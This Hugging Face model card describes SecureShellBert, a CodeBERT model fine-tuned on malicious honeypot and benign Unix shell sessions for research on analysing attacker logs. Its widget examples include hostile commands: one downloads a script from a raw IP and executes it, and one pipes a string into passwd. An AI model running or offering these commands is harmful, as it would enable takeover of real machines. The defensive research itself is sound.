---
widget:
- text: cat /proc/cpuinfo | cat <mask> | wc -l ;
- text: echo -e pcnv81k7W9cAOnonv81k7W9cAOno | passwd | <mask> ;
- text: >-
    cat /proc/cpuinfo | grep name | head -n 1 | awk {<mask> $4,$5,$6,$7,$8,$9;}
    ;
- text: wget http://81.23.76.166/bin.sh ; chmod 777 bin.sh ; sh <mask>.sh ;

pipeline_tag: fill-mask

metrics:
- perplexity
---


**SecureShellBert** is a [CodeBert](https://huggingface.co/microsoft/codebert-base) model fine-tuned for **Masked Language Modelling**. 

The model was domain-adapted following the [Huggingface guide](https://huggingface.co/learn/nlp-course/chapter7/3) using a corpus of **>20k Unix sessions**. Such sessions are both malign (see more at [HaaS](https://haas.nic.cz/)) and benign (see more at [NLP2Bash](https://github.com/TellinaTool/nl2bash)) sessions.

The model was trained:
- For 10 epochs
- mlm probability of 0.15
- batch size = 16
- learning rate of 1e-5
- chunk size = 256

This model was used to finetuned [LogPrecis](https://huggingface.co/SmartDataPolito/logprecis/). See more at [GitHub](https://github.com/SmartData-Polito/logprecis) for code and data, and please cite [our article](https://arxiv.org/abs/2307.08309).